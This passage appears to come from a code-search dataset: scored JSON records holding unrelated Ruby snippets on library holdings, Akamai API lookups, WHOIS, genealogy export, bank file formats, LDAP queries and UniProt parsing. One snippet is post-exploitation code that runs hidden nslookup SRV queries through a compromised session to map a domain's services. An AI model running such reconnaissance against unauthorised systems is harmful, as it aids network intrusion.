puts(format(\"%<n>4i LEDGER\\tBITCOINDE\\tINSERIDAS del\", n: apide.ledger.empty? ? 0 : dml(del_ins)))\n end", "title": "" }, { "docid": "9fe4f42f4f1484c224e9c6fe7fec5561", "score": "0.45848802", "text": "def parse_over_info(hrds,condensed,items,locnames_by_lid)\n\t over = {}\n\t overinfo = {}\n\t ocnt = {} # how many items have an over ridden location, either temp OR perm, indexed by number\n\t total = {} # how many items are in a location\n\t ##Rails.logger.debug \"\\nes287_debug saved response file:#{__FILE__} line:(#{__LINE__}) @response= \" + @response.inspect\n\t ##Rails.logger.debug \"\\nes287_debug all holdings records from document file:#{__FILE__} line:(#{__LINE__}) hrds= \" + hrds.inspect\n\t ##Rails.logger.debug \"\\nes287_debug locnames by lid document file:#{__FILE__} line:(#{__LINE__}) locnames by lid= \" + locnames_by_lid.inspect\n\t ##Rails.logger.debug \"\\nes287_debug number of items file:#{__FILE__} line:(#{__LINE__})= \" + items.size.to_s\n\t items.each do |iinfo|\n\t tmploc = {}\n\t mid = iinfo['mfhd_id']\n\t ##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) iinfo= \" + iinfo.inspect\n\t ##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) hrds[mid]= \" + hrds[mid].inspect\n\t #\n\t next if hrds[mid].nil?\n\t ##Rails.logger.debug \"\\nes287_debug hrds file:#{__FILE__} line:(#{__LINE__}) location id = \" + hrds[mid][\"locations\"][0][\"number\"].to_s\n\t lid = hrds[mid][\"locations\"][0][\"number\"].to_s\n\t ##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) mid = \" + mid.inspect\n\t ##Rails.logger.debug \"\\nes287_debug class of permlocation file:#{__FILE__} line:(#{__LINE__}) class = \" + iinfo[:perm_location].class.to_s\n\t dispname = \"\"\n\t dcode = \" \"\n\t if iinfo[:perm_location].class == ActiveSupport::HashWithIndifferentAccess\n\t\tdcode = iinfo[:perm_location][:number].to_s\n\t\tdispname = iinfo[:perm_location][:name]\n\t else\n\t\tif !iinfo[\"perm_location\"].blank?\n\t\t dcode = iinfo[\"perm_location\"]\n\t\t ##Rails.logger.debug \"\\nes287_debug class of permlocation file:#{__FILE__} line:(#{__LINE__}) dcode = \" + dcode.inspect\n\t\t dispname = locnames_by_lid[dcode][:display_name] unless dcode.blank?\n\t\tend\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug dcode file:#{__FILE__} line:(#{__LINE__}) dcode = \" + dcode.inspect\n\t if dcode != \" \" && dcode != hrds[mid][\"locations\"][0][\"number\"].to_s\n\t # if iinfo['perm_location'] != hrds[mid][\"locations\"][0][\"number\"].to_s\n\t\t##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) OVERRIDDEN by item perm location = \" + iinfo['perm_location'].inspect\n\t\t##Rails.logger.debug \"\\nes287_debug locnames by lid file:#{__FILE__} line:(#{__LINE__}) = \" + locnames_by_lid.inspect\n\t\tocnt[lid] = ocnt[lid].blank? ? 1 : ocnt[lid]+1\n\t\ttotal[lid] = total[lid].blank? ? 1 : total[lid]+1\n\t\t##Rails.logger.debug \"\\nes287_debug ocnt line:(#{__LINE__}) overridden count = \" + ocnt.inspect\n\t\ttmploc[\"location_name\"] = dispname\n\t\t#dcode = iinfo[:perm_location][:number].to_s\n\t\ttmploc[\"location_code\"] = dcode\n\t\ttmploc[\"item_enum\"] = iinfo[:item_enum]\n\t\ttmploc[\"holding_id\"] = [mid]\n\t\ttmploc[\"chron\"] = iinfo[:chron]\n\t\ttmploc[\"call_number\"] = hrds[mid][\"callnos\"][0]\n\t\ttmploc[\"copies\"] = iinfo[:copy_number]\n\t\tcopies = \"\"\n\t\tcopies = \" c. #{tmploc['copies']} \" unless tmploc.blank?\n\t\t##Rails.logger.debug \"\\nes287_debug #{__FILE__}:#{__LINE__} tmploc = \" + tmploc.inspect\n\t\ttmploc[\"display\"] = Maybe(tmploc['item_enum']) + ' ' + Maybe(tmploc['chron']) + Maybe(copies) + \" Shelved in #{dispname}\"\n\t\t#oneloc[\"summary_holdings\"] = \"Library has: \" + summary_holdings.join(' ') unless summary_holdings.blank?\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) item = \" + iinfo.inspect\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) tmploc = \" + tmploc.inspect\n\t\t##Rails.logger.debug \"\\nes287_debug file:#{__FILE__} line(#{__LINE__}) dispname = \" + dispname.inspect\n\t\toverinfo[mid] = tmploc\n\t\tif over[mid].blank?\n\t\t over[mid] = [ tmploc[\"display\"] ]\n\t\telse\n\t\t over[mid] << tmploc[\"display\"]\n\t\t end\n\t end\n\t if (!iinfo['temp_location'].blank? && iinfo['temp_location'] != \"0\" ) && iinfo['temp_location'] != hrds[mid][\"locations\"][0][\"number\"].to_s\n\t\t##Rails.logger.debug \"\\nes287_debug item line:(#{__LINE__} OVERRIDDEN item temp location = \" + iinfo['temp_location'].inspect\n\t\tdispname = locnames_by_lid[iinfo[:temp_location]][:display_name]\n\t\tocnt[lid] = ocnt[lid].blank? ? 1 : ocnt[lid]+1\n\t\ttotal[lid] = total[lid].blank? ? 1 : total[lid]+1\n\t\t##Rails.logger.debug \"\\nes287_debug ocnt line:(#{__LINE__}) overriden count = \" + ocnt.inspect\n\t\ttmploc[\"location_name\"] = dispname\n\t\tdcode = locnames_by_lid[iinfo[:temp_location]][:location_code]\n\t\ttmploc[\"location_code\"] = dcode\n\t\ttmploc[\"holding_id\"] = [mid]\n\t\ttmploc[\"item_enum\"] = iinfo[:item_enum]\n\t\ttmploc[\"chron\"] = iinfo[:chron]\n\t\ttmploc[\"call_number\"] = hrds[mid][\"callnos\"][0]\n\t\ttmploc[\"copies\"] = []\n\t\ttmploc[\"display\"] = tmploc['item_enum'] + ' ' + tmploc['chron'] + \" Temporarily shelved in #{dispname}\"\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) tmploc = \" + tmploc.inspect\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) dispname = \" + dispname\n\t\toverinfo[mid] = tmploc\n\t\tif over[mid].blank?\n\t\t over[mid] = [ tmploc[\"display\"] ]\n\t\telse\n\t\t over[mid] << tmploc[\"display\"]\n\t\t end\n\t end\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug ocnt line:(#{__LINE__}) overridden count = \" + ocnt.inspect\n\t ##Rails.logger.debug \"\\nes287_debug total line:(#{__LINE__}) item count in holding = \" + total.inspect\n\t return over,overinfo\n\t end", "title": "" }, { "docid": "1546b6d30fecd2df714da02eee2815fa", "score": "0.4583825", "text": "def srvreclkp(session,domain,dest)\n\tdest = dest + \"-srvenum.txt\"\n\tsrout = []\n\tgarbage = []\n\tsrvrcd = [\n\t \"_gc._tcp.\",\"_kerberos._tcp.\", \"_kerberos._udp.\",\"_ldap._tcp.\",\"_test._tcp.\",\n\t \"_sips._tcp.\",\"_sip._udp.\",\"_sip._tcp.\",\"_aix._tcp.\",\"_aix._tcp.\",\"_finger._tcp.\",\n\t \"_ftp._tcp.\",\"_http._tcp.\",\"_nntp._tcp.\",\"_telnet._tcp.\",\"_whois._tcp.\"]\n\tprint_status(\"Performing SRV Record Enumeration for #{domain}\")\n\tfilewrt(dest,\"SRV Record Enumeration for #{domain}\")\n\tsrvrcd.each do |srv|\n\t\tr = session.sys.process.execute(\"nslookup -query=srv #{srv}#{domain}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\twhile(d = r.channel.read)\n\t\t\tsrout << d\n\t\tend\n\t\tr.channel.close\n\t\tr.close\n\t\tresults = srout.join.split(/\\n/)\n\t\tresults.each do |rec|\n\t\t\t\tif rec.match(/\\s*internet\\saddress\\s\\=\\s/)\n\t\t\t\t\tgarbage << rec.split(/\\s*internet\\saddress\\s\\=/)\n\t\t\t\t\tprint_status(\"\\tfor #{srv}#{domain} #{garbage[0].join.sub(\" \",\" \")}\")\n\t\t\t\t\tfilewrt(dest,\"for #{srv}#{domain} #{garbage[0].join.sub(\" \",\" \")}\")\n\t\t\t\t\tgarbage.clear\n\t\t\t\tend\n\t\tgarbage.clear\n\t\tsrout.clear\n\t\tend\n\tend\n\nend", "title": "" }, { "docid": "5f8b9dc1bc1f16a12fd7ca31e54d0e74", "score": "0.4582321", "text": "def list_items(ead)\n ead.reader.archdesc.dsc.c01s.each do |c01|\n c01.c02s.each do |c02|\n puts \"#{c01.level}:#{c01.identifier} \\t #{c02.level}:#{c02.identifier} \\t #{c02.dao.try(:href)} \\t #{print_types(c02)}\"\n c02.c03s.each do |c03|\n puts \"#{c01.level}:#{c01.identifier} \\t #{c02.level}:#{c02.identifier} \\t #{c03.level}:#{c03.identifier} \\t #{c03.dao.try(:href)} \\t #{print_types(c03)}\"\n c03.c04s.each do |c04|\n puts \"#{c01.level}:#{c01.identifier} \\t #{c02.level}:#{c02.identifier} \\t #{c03.level}:#{c03.identifier} \\t #{c04.level}:#{c04.identifier} \\t #{c04.dao.try(:href)} \\t #{print_types(c04)}\"\n end\n end\n end\n puts \"\\n\"\n end\nend", "title": "" }, { "docid": "54b4830dd9fc8b85fce88b30d4a8c208", "score": "0.45773658", "text": "def getAccountInfo()\n tokens = session['luna_token']\n result = Hash.new\n\n #get contract ids and account id/name\n endpoint_acct = \"/papi/v0/groups/\"\n endpoint_cont = \"/papi/v0/contracts/\"\n result_acct = makeGetRequest(tokens[:baseurl], endpoint_acct, tokens[:clienttoken], tokens[:secret], tokens[:accesstoken])\n result_cont = makeGetRequest(tokens[:baseurl], endpoint_cont, tokens[:clienttoken], tokens[:secret], tokens[:accesstoken])\n\n begin\n jsonObj_acct = JSON.parse(result_acct)\n jsonObj_cont = JSON.parse(result_cont)\n\n account_id = jsonObj_acct[\"accountId\"]\n account_name = jsonObj_acct[\"accountName\"]\n contracts = jsonObj_cont[\"contracts\"]\n\n result[\"account_id\"] = account_id.nil? ? \"Please allow access to PAPI\" : account_id.split(\"_\").last\n result[\"account_name\"] = account_name.nil? ? \"Please allow access to PAPI\" : account_name\n\n if not contracts.nil?\n arr_contracts = Array.new\n contracts[\"items\"].each do |each_contract|\n contract_id = each_contract[\"contractId\"].split(\"_\").last\n arr_contracts.push({\"contractId\" => contract_id})\n end\n result[\"contracts\"] = arr_contracts\n else\n result[\"contracts\"] = \"Please allow access to PAPI\"\n end\n rescue JSON::ParserError => e\n result[\"account_id\"] = \"Please allow access to PAPI\"\n result[\"account_name\"] = \"Please allow access to PAPI\"\n result[\"contracts\"] = \"Please allow access to PAPI\"\n end\n\n #get contract name. only run when there was a contract\n if result[\"contracts\"].class == Array\n endpoint_cont_name = \"/billing-usage/v1/reportSources\"\n result_cont_name = makeGetRequest(tokens[:baseurl], endpoint_cont_name, tokens[:clienttoken], tokens[:secret], tokens[:accesstoken])\n begin\n jsonObj_cont_name = JSON.parse(result_cont_name)\n if jsonObj_cont_name[\"status\"] == \"ok\" and not jsonObj_cont_name[\"contents\"].nil?\n contents = jsonObj_cont_name[\"contents\"]\n contents.each do |each_content|\n result[\"contracts\"].each do |each_contract|\n if each_contract[\"contractId\"] == each_content[\"id\"] then each_contract[\"contractName\"] = each_content[\"name\"] end\n end\n end\n else\n raise JSON::ParserError\n end\n rescue JSON::ParserError => e\n result[\"contracts\"].each do |each_contract|\n each_contract[\"contractName\"] = \"Please allow access to Billing Center API v1\"\n end\n end\n end\n return result\nend", "title": "" }, { "docid": "68d6c74cfdd7f2d521f93cf90dc1cbf4", "score": "0.45762548", "text": "def run\n\t\tbegin\n\t\t\t\n\t\t\tif @object.kind_of?(Device)\n\t\t\t\tanswer = @client.query(@object.ip_address)\n\t\t\telsif @object.kind_of?(User)\n\t\t\telsif @object.kind_of?(Organization)\n\t\t\t \n\t\t\t answer = @client.query(@object.name)\n\t\t\t answer.contacts.each do |contact|\n l = create_object Location, :address => contact.address,\n :state => contact.state,\n :city => contact.city,\n :zip => contact.zip,\n :country => contact.country\n\n\t\t\t create_object User, :full_name => contact.name,\n\t\t\t :email => contact.email,\n\t\t\t :phone => contact.phone,\n\t\t\t :fax => contact.fax,\n\t\t\t :location_id => l.id\n\t\t\t end\n\t\t\t \n\t\t elsif @object.kind_of?(Domain)\n\t\t\t\tbegin\n\t\t\t\t\tanswer = @client.query(@object.domain)\n\t\t\t\trescue \n\t\t\t\t\treturn\n\t\t\t\tend\n\n\t\t\t\t@object.referral_whois = answer.referral_whois\n\t\t\t\t@object.referral_url = answer.referral_url\n\t\t\t\t@object.status = answer.status\n\t\t\t\t@object.created_on = answer.created_on\n\t\t\t\t@object.updated_on = answer.updated_on\n\t\t\t\t@object.expires_on = answer.expires_on\n\t\t\t\t@object.registrar = answer.registrar\n\t\t\t\t@object.nameservers = answer.nameservers\n\t\t\t\t@object.fulltext = answer.to_s\n\t\n\t\t\t\t## It's not guaranteed that these methods will be available..\n\t\t\t\t@object.registered = answer.registered\n\t\t\t\t@object.available = answer.available\n\t\t\t\t@object.registrant_contact = answer.registrant_contact\n\t\t\t\t@object.admin_contact = answer.admin_contact\n\t\t\t\t@object.technical_contact = answer.techncial_contact\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tputs \"Something bad happened. Probably unable to parse the response :(\"\n\t\t\tputs e.to_s\n\t\tend\n\t\t\n\t\t@object.save!\n\t\t\n\t\tnil\n\tend", "title": "" }, { "docid": "17a6f3af1cec0a6707d39c3f8bafd3fb", "score": "0.45653594", "text": "def get_indi(personmodel)\n id = personmodel[\"Ord-Nr\"]\n npfx = personmodel[\"Titel\"]\n name = personmodel[\"Name\"]\n name = personmodel[\"Geb-Name\"]\n rufname = personmodel[\"Rufname\"]&.strip\n vorname = personmodel[\"Vorname\"]\n vornamerufname = vorname #.gsub(rufname, %Q{*#{rufname.strip}*}) unless rufname.nil?\n\n sex = personmodel[\"Geschl\"] == \"M\" ? \"M\" : \"F\"\n ausehe = personmodel[\"AusEhe\"]\n art = personmodel[\"AusEhe\"]\n\n beruf = wrap(personmodel[\"Beruf\"] || \"\", 80).strip\n\n family_roles = (personmodel[:family_roles] || []).map { |v| %Q{1 #{v[1].to_s.upcase} @#{ $idmapper.fam(v[0]) }@} }.join(\"\\n\")\n maiden = (personmodel[:family_roles] || []).map { |v| %Q{1 #{v[1].to_s.upcase} @#{ $idmapper.fam(v[0]) }@} }.join(\"\\n\")\n\n %Q{\n0 @#{$idmapper.indi(id)}@ INDI\n1 NAME #{vornamerufname} (#{id}) /#{name}/\n2 GiVN #{vornamerufname}\n2 SURN #{name}\n2 NPFX #{npfx}\n2 _RUFNAME #{rufname}\n1 NOTE #{beruf.gsub(\"\\n\", \"\\n2 CONT \")}\n1 SEX #{sex}\n1 REFN #{id}\n1 BIRT\n2 DATE #{personmodel[\"Geb-am\"]}\n2 PLAC #{personmodel[\"Geb-in\"]}\n1 DEAT\n2 DATE #{personmodel[\"Gest-am\"]}\n2 PLAC #{personmodel[\"Gest-in\"]}\n #{family_roles}\n }.strip\n\nend", "title": "" }, { "docid": "3648cc7f33f8e3cd05d3d5f592208323", "score": "0.45638603", "text": "def get_atu()\n if $kx_atu\n atu=get_cmd('AK;',0.1,0.5,3).gsub(/^AK/,'').gsub(/;$/,'')\n puts atu if $verbose\n l=atu[0..1].to_i\n c=atu[2..3].to_i\n r=atu[4..5].to_i\n puts l if $verbose\n puts c if $verbose\n puts r if $verbose\n if r==0\n puts \"atu: antenna\" if $verbose\n relays=\"antenna\"\n elsif r==1\n puts \"atu: transmit\" if $verbose\n relays=\"transmit\"\n else\n puts \"atu: unknown\" if $verbose\n relays=\"Unknown\"\n end\n return(\"L=#{l}, C=#{c}, R=#{relays}\")\n else\n return \"ATU not installed\"\n end\nend", "title": "" }, { "docid": "cea61faa781d7ad36bb216bfc4f58edd", "score": "0.45600578", "text": "def generate_visa_file(type, contacts, establishment)\n if type == \"credit\"\n filename = \"DEBLIQC\"\n else\n filename = \"DEBLIQD\"\n end\n begin_register_type = \"0\"\n end_register_type = \"9\"\n constant_type = \"DEBLIQ\"\n establishment = establishment #\"3617131\"\n constant = \"900000 \"\n date = Time.now.year.to_s.rjust(4,\"0\")+Time.now.month.to_s.rjust(2, \"0\")+Time.now.day.to_s.rjust(2, \"0\")\n hour = Time.now.hour.to_s.rjust(2, \"0\")+Time.now.min.to_s.rjust(2, \"0\")\n debit_type = \"0\"\n status = \" \"\n begin_reserved = \" \"*55\n end_reserved = \" \"*36\n mark = \"*\"\n credit_or_debit = (type == \"credit\" ? \"C\" : \"D\")\n\n contact_register_type = \"1\"\n contact_reserved_space_1 = \" \"*3\n contact_reserved_space_2 = \" \"*26\n transaction_code = \"0005\"\n\n\n total_count = contacts.count.to_s.rjust(7, \"0\")\n total_amount = sprintf(\"%.02f\", contacts.sum(\"amount\").to_s).rjust(16, \"0\").delete(\".\")\n # filename = DEBLIQ + \"C\" if params[:type => \"credito\"] algo así\n first_line = begin_register_type+constant_type+credit_or_debit+\" \"+establishment.rjust(10, \"0\")+constant+\n date+hour+debit_type+status+begin_reserved+mark\n end_line = end_register_type+constant_type+credit_or_debit+\" \"+establishment.rjust(10, \"0\")+constant+\n date+hour+total_count+total_amount+end_reserved+mark\n\n File.open(filename, \"w\") do |f|\n f.puts(first_line)\n contacts.each do |contact|\n contact_line = contact_register_type +\n contact.card_number.to_s.rjust(16, \"0\") +\n contact_reserved_space_1 +\n contact.bill.to_s.rjust(8, \"0\") +\n date +\n transaction_code +\n sprintf(\"%.02f\", contact.amount.to_s).rjust(16, \"0\").delete(\".\") +\n contact.identifier.to_s.rjust(15, \"0\") +\n (contact.new_debit? ? \"E\" : \" \") +\n \" \" +\n contact_reserved_space_2 +\n mark\n f.puts(contact_line)\n end\n f.puts(end_line)\n end\n end", "title": "" }, { "docid": "0b921472fcd44fc1ed222193c7976729", "score": "0.45576146", "text": "def decompose(domain); end", "title": "" }, { "docid": "b76d41a0fc0c116ea4bf8d0b8356852e", "score": "0.4557231", "text": "def parse_to_file(outdir)\n z_unique = File.new(outdir+\"_unique\", 'w')\n z_non_unique = File.new(outdir+\"_non_unique\", 'w')\n entries = []\n while !@filehandler.eof?\n entry1 = make_entry()\n line = @filehandler.readline()\n entry2 = make_entry()\n if entry1.q_name == entry2.q_name\n # What if on same chromosome?\n # calling helper procedure\n entries << entry1\n marker2 = true\n while entry1.q_name == entry2.q_name\n # same chrosome?\n if entry1.t_name == entry2.t_name\n entries << entry2\n if @filehandler.eof?\n marker = false\n break\n else\n line = @filehandler.readline()\n entry2 = make_entry()\n marker = true\n end\n else\n marker2 = false\n @counter_non_unique += 1\n out = \"#{entry1.to_s()}\"\n z_non_unique.write(out+\"\\n\")\n while entry1.q_name == entry2.q_name\n out = \"#{entry2.to_s()}\"\n z_non_unique.write(out+\"\\n\")\n if @filehandler.eof?\n marker = false\n break\n else\n line = @filehandler.readline()\n entry2 = make_entry()\n marker = 1\n end\n end\n end\n if marker2\n is_in_range?(entries, z_unique, z_non_unique)\n end\n end\n else\n @counter_unique += 1\n out = \"#{entry1.to_s()}\"\n z_unique.write(out+\"\\n\")\n marker = false\n end\n end\n if marker\n @counter_unique += 1\n out = \"#{entry2.to_s()}\"\n z_unique.write(out+\"\\n\")\n end\n\n z_non_unique.close\n z_unique.close\n end", "title": "" }, { "docid": "7882b952b9d398e4898a2c006e47b313", "score": "0.45567295", "text": "def group_as_text(group,document,items)\n output = ''\n reading = ''\n bwith = ''\n if document['abbound_with_json']\n bwith = t('blacklight.catalog.abbound_with')\n end\n multi_vol = document['multivol_b']\n on_site_count = 0\n reserve_item = false\n noncirc = false\n aeon_codes = []\n not_spif = 0 \n spif = 0 \n pda = 'no'\n if group == \"Rare\"\n reading = ' for Reading Room Delivery'\n noncirc = true \n end\n items.each do |i|\n if group == \"Rare\"\n aeon_codes << i['location']['code'] unless aeon_codes.include?(i['location']['code'])\n end\n if !i[\"circ\"].present?\n noncirc = true\n end\n reserve_item = (i['location']['code'].include?(',res') || i['location']['code'].include?('oclc,afrp') || i['location']['name'].include?('Reserve'))\n if i[\"location\"][\"name\"] !~ /Spacecraft Planetary Imaging Facility/\n not_spif += 1 \n end\n if i[\"location\"][\"name\"] =~ /Non-Circulating/\n noncirc = true \n end\n if i[\"location\"][\"name\"] =~ /Spacecraft Planetary Imaging Facility/\n noncirc = true \n spif += 1 \n end\n if !i[\"call\"].blank? && !i[\"call\"].include?('No call number') && i[\"call\"] == ' Available for the Library to Purchase'\n pda = 'yes'\n end\n if pda == 'yes'\n output += \"\\n\" + i[\"call\"]\n elsif i[\"location\"][\"name\"] != 'Library Technical Services Review Shelves' && !document['url_pda_display'].present?\n output += \"\\n\" + i[\"location\"][\"name\"]\n end\n if !i[\"call\"].blank? && !i[\"call\"].include?('No call number') && i[\"call\"] == ' Available for the Library to Purchase'\n pda = 'yes'\n end\n if !i[\"call\"].blank? && !i[\"call\"].include?('No call number') && i[\"call\"] != ''\n if pda != 'yes'\n output += \"\\n\" + i[\"call\"]\n end\n end\n if i[\"items\"].present?\n if i['items']['tempLoc'].present?\n i['items']['tempLoc'].each do |t|\n output += \"\\n\" + t['enum'] + \"Temporarily shelved in \" + t['location']['name']\n end\n end\n end\n if i['boundWith'].present?\n bw = i['boundWith']\n bwenums = []\n bw.each do |k,v|\n @mi = v['masterBibId']\n @mt = v[\"masterTitle\"]\n bwenums << v[\"masterEnum\"]\n end\n output += \"This item is bound with another item. Requests must be made to that item: #{@mt}\"\n + bwenums.join(', ')\n end\n if i['order'].present?\n output += \"\\n\" + i['order']\n end\n if i['holdings'].present?\n libhas = i['holdings'].join(\"\\n\")\n output += \"\\n\" + \"Library has: #{libhas}\"\n end\n if i['indexes'].present?\n indexes = i['indexes'].join(\"\\n\")\n output += \"\\n\" + \"Indexes: #{indexes}\"\n end\n if i['supplements'].present?\n supplements = i['supplements'].join(\"\\n\")\n output += \"\\n\" + \"Supplements: #{supplements}\"\n end\n if i['notes'].present?\n notes = i['notes'].join(\"\\n\")\n output += \"\\n\" + \"Notes: #{notes}\"\n end\n if !i['recents'].nil? && i['recents'].size == 1\n current = i['recents'][0]\n output += \"\\n\" + \"Current Issues: #{current}\"\n elsif !i['recents'].nil? && i['recents'].size > 1\n current = i['recents'].join(\"\\n\")\n output += \"\\n\" + \"Current Issues: #{current}\"\n end\n istatus = solr_status(i,noncirc,pda)\n output += istatus unless istatus.nil?\n end\n output\n end", "title": "" }, { "docid": "61246eb61a74b5592c2a7c6839aba003", "score": "0.4555803", "text": "def extract_uni\n # Extract all uniquely mapping reads\n run_cmd(\n \"samtools view -H #{@names.get('mapped_merged')} \" \\\n \"> #{@names.get('mapped_uniq')}\"\n )\n run_cmd(\n \"samtools view -h #{@names.get('mapped_merged')} \" \\\n \"| grep -P 'NH:i:1(\\t|$)' \" \\\n \">> #{@names.get('mapped_uniq')}\"\n )\n run_cmd(\n \"samtools sort -o #{@names.get('mapped_uniqsort')} -O bam -T \" \\\n \"tmp.bam #{@names.get('mapped_uniq')}\"\n )\n end", "title": "" }, { "docid": "f4d419ed01660f46b46bdcd33399aff0", "score": "0.45551977", "text": "def parse_transaction(string)\n {\n # identificação do registro transação\n :tipo_registro => string[0..0].to_i,\n # identificação do tipo de inscrição/empresa\n # (01-CPF; 02-CNPJ; 03-PIS/PASEP;98-não tem;99-Outros)\n :codigo_inscricao => string[1..2],\n # número de inscrição da empresa (cpf/cnpj)\n :numero_inscricao => string[3..16],\n # brancos\n #:brancos1 => string[17..19],\n #:zero => string[20..20],\n # carteira de boletos\n :carteira => string[21..22],\n # agência\n :agencia => string[23..27],\n # dígito da agência\n :agencia_cd => string[28..28],\n # conta corrente\n :conta_corrente => string[29..35],\n # dígito conta corrente\n :conta_corrente_cd => string[36..36],\n # identificação do título na empresa\n :uso_da_empresa => string[37..61],\n # zeros\n #:zeros1 => string[62..69],\n # identificação do título no banco\n :nosso_numero => string[70..81],\n # complemento de registro\n #:brancos2 => string[82..91],\n # zeros\n #:zeros2 => string[92..103],\n # Somente será informado “R” ou branco\n :indicador_rateio => string[104..104],\n # zeros\n #:zeros3 => string[105..106],\n # código da carteira\n :carteira2 => string[107..107],\n # identificação da ocorrência\n :codigo_ocorrencia => string[108..109],\n # data de de ocorrência no banco\n :data_ocorrencia => convert_date(string[110..115]),\n # número do documento de cobrança (dupl, np etc)\n :numero_documento => string[116..125],\n # confirmação do número do título no banco\n :nosso_numero3 => string[126..145],\n # data de vencimento do titulo\n :vencimento => convert_date(string[146..151]),\n # valor nominal do título\n :valor_titulo => string[152..164].to_f / 100,\n # número do banco na câmara de compensação\n :codigo_banco_cobrador => string[165..167],\n # ag. cobradora, ag. de liquidação ou baixa\n :agencia_cobradora => string[168..172],\n # espécie do título\n :especie => string[173..174],\n # valor da despesa de cobrança\n # para os códigos de ocorrência (:codigo_ocorrencia)\n # 02 - Entrada Confirmada\n # 28 - Débito de tarifas\n :tarifa_cobranca => string[175..187].to_f / 100,\n # outras despesas / custos de protesto\n :outras_despesas_custos => string[188..200].to_f / 100,\n # outras despesas / custos de protesto\n # não será informado\n #:juros_operacao_atraso => string[201..213].to_f / 100,\n # valor do iof a ser recolhido (notas seguro)\n :valor_iof => string[214..226].to_f / 100,\n # valor do abatimento concedido\n :valor_abatimento => string[227..239].to_f / 100,\n # valor do desconto concedido\n :descontos => string[240..252].to_f / 100,\n # valor lançado em conta corrente\n :valor_principal => string[253..265].to_f / 100,\n # valor de mora e multa pagos pelo sacado\n :juros_mora_multa => string[266..278].to_f / 100,\n # valor de outros créditos\n :outros_creditos => string[279..291].to_f / 100,\n # complemento de registro\n #:brancos6 => string[292..294],\n # data de crédito desta liquidação\n :data_credito => convert_date(string[295..300]),\n # código da instrução cancelada\n :origem_pagamento => string[301..303],\n # complemento de registro\n #:brancos7 => string[304..317],\n # motivo de rejeição (para :codigo_ocorrencia)\n :motivo_rejeicao => string[318..327],\n # brancos\n #:brancos8 => string[328..367],\n # número cartório\n :numero_cartorio => string[368..369],\n #\n :numero_protocolo => string[370..379],\n # brancos\n #:brancos9 => string[380..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399].to_i\n }\n end", "title": "" }, { "docid": "8a8cfb36b5d67b67b56e963adfec40b6", "score": "0.45476148", "text": "def get_data(login,from)\n ### USER ###\n # acces to user fields\n user_data = User.find_by_login(login)\n # cas_id field of user table\n # cas_id = user_data.cas_id\ncas_id = 1 \n ### CAS ###\n # acces to cas fields\n cas_data = Cas.find_by_id(cas_id)\n # field field of cas table\n ldap_name = cas_data.ldap\n \n ## LDAP ##\n # acces to ldap field\n ldap_data = AuthSourceLdap.find_by_name(ldap_name)\n \n \n # Composition de requête\n auth = {\n :method => :simple,\n :username => ldap_data.account,\n :password => ldap_data.account_password\n }\n \n ldap_req = Net::LDAP::new :host => ldap_data.host, :port => ldap_data.port , :auth => auth\n filter = Net::LDAP::Filter.eq(ldap_data.attr_login, login)\n # Teacher\n labo = Net::LDAP::Filter.construct(ldap_data.filter)\n real_filter = filter & labo\n \n # Informatin to gather from\n attributes = ['givenName', 'sn', 'mail', 'auaStatut', 'eduPersonAffiliation','auaEtapeMillesime', 'supannAffectation']\n \n # CASE\n entry = case from \n when \"staff\" then ldap_req.search(:base => ldap_data.base_dn, :filter => real_filter)\n when \"onthefly\" then ldap_req.search( :base => ldap_data.base_dn, :filter => filter, :attributes => attributes ).first\n end\n # Return\n return entry\n end", "title": "" }, { "docid": "fa96ae9e915553f3f536136cfbabf3e8", "score": "0.45476106", "text": "def setup_data\n # get a list of current year's members@ emails\n year = Time.new.year.to_s\n archive = Dir[File.join(MAIL_ROOT, \"members\", \"#{year}*\", \"*\")]\n\n # select messages that have a subject line starting with [MEMBER NOMINATION]\n emails = []\n archive.each do |email|\n next if email.end_with? '/index'\n message = IO.read(email, mode: 'rb')\n next unless message[/^Date: .*/].to_s.include? year\n subject = message[/^Subject: .*/]\n next if not subject # HACK: allow script to continue if bogus email\n next if subject =~ /board nominations$/ # not a nomination!\n subjectUC = subject.upcase\n next unless subjectUC =~ /BOARD/\n next unless subjectUC =~ /NOMI[NM]ATION/\n mail = Mail.new(message.encode(message.encoding, crlf_newline: true))\n mail.subject.sub!(/\\bDelacratez\\b/, 'Delacretaz') # typo\n emails << mail if mail.subject =~ /^\\[?BOARD NOMI[MN]ATION\\]?/i\n end\n\n # parse nominations for names and ids\n nominations = ASF::MemberFiles.board_nominees.map do |id, hash|\n {id: id, name: hash['Public Name'], nominator: hash['Nominated by']}\n end\n\n # preload names\n ASF::Person.preload('cn',\n nominations.map {|nominee| ASF::Person.find(nominee[:id])})\n\n return nominations, emails\nend", "title": "" }, { "docid": "91ac21e93e0f6dcb73bc665029fe9406", "score": "0.45356083", "text": "def proteinInfo2hash (xmlRes)\n\n#\t\txmlDoc = Document.new xmlRes\n#\t\tentries = xmlDoc.elements.collect('uniprot/entry') { |ent| ent }\n\t\txmlDoc = Nokogiri::XML(xmlRes)\n\t\tentries = xmlDoc.css('uniprot > entry')\n# just take the very first entry\n\t\tmain_entry = entries.first\n\n\t\trecommended_name = main_entry.css('protein > recommendedName > fullName').collect {\n\t\t\t|node| node.text\n\t\t}\n\t\tsynonyms = main_entry.css('protein > alternativeName > fullName').collect {\n\t\t\t|alt_name| alt_name.text\n\t\t}\n\t\tkeywords = main_entry.css('keyword').collect { |keyw| keyw.text }\n\n\t\torganism = main_entry.css('organism > name').collect { |org|\n\t\t\tif org['type'] == 'scientific' then org.text end\n\t\t}\n\t\tfunction = main_entry.css(\"comment[type='function']\").collect { |func|\n\t\t\tfunc.text\n\t\t}\n\t\tlocation = main_entry.css(\"comment[type='subcellular location'] > subcellularLocation > location\").collect { 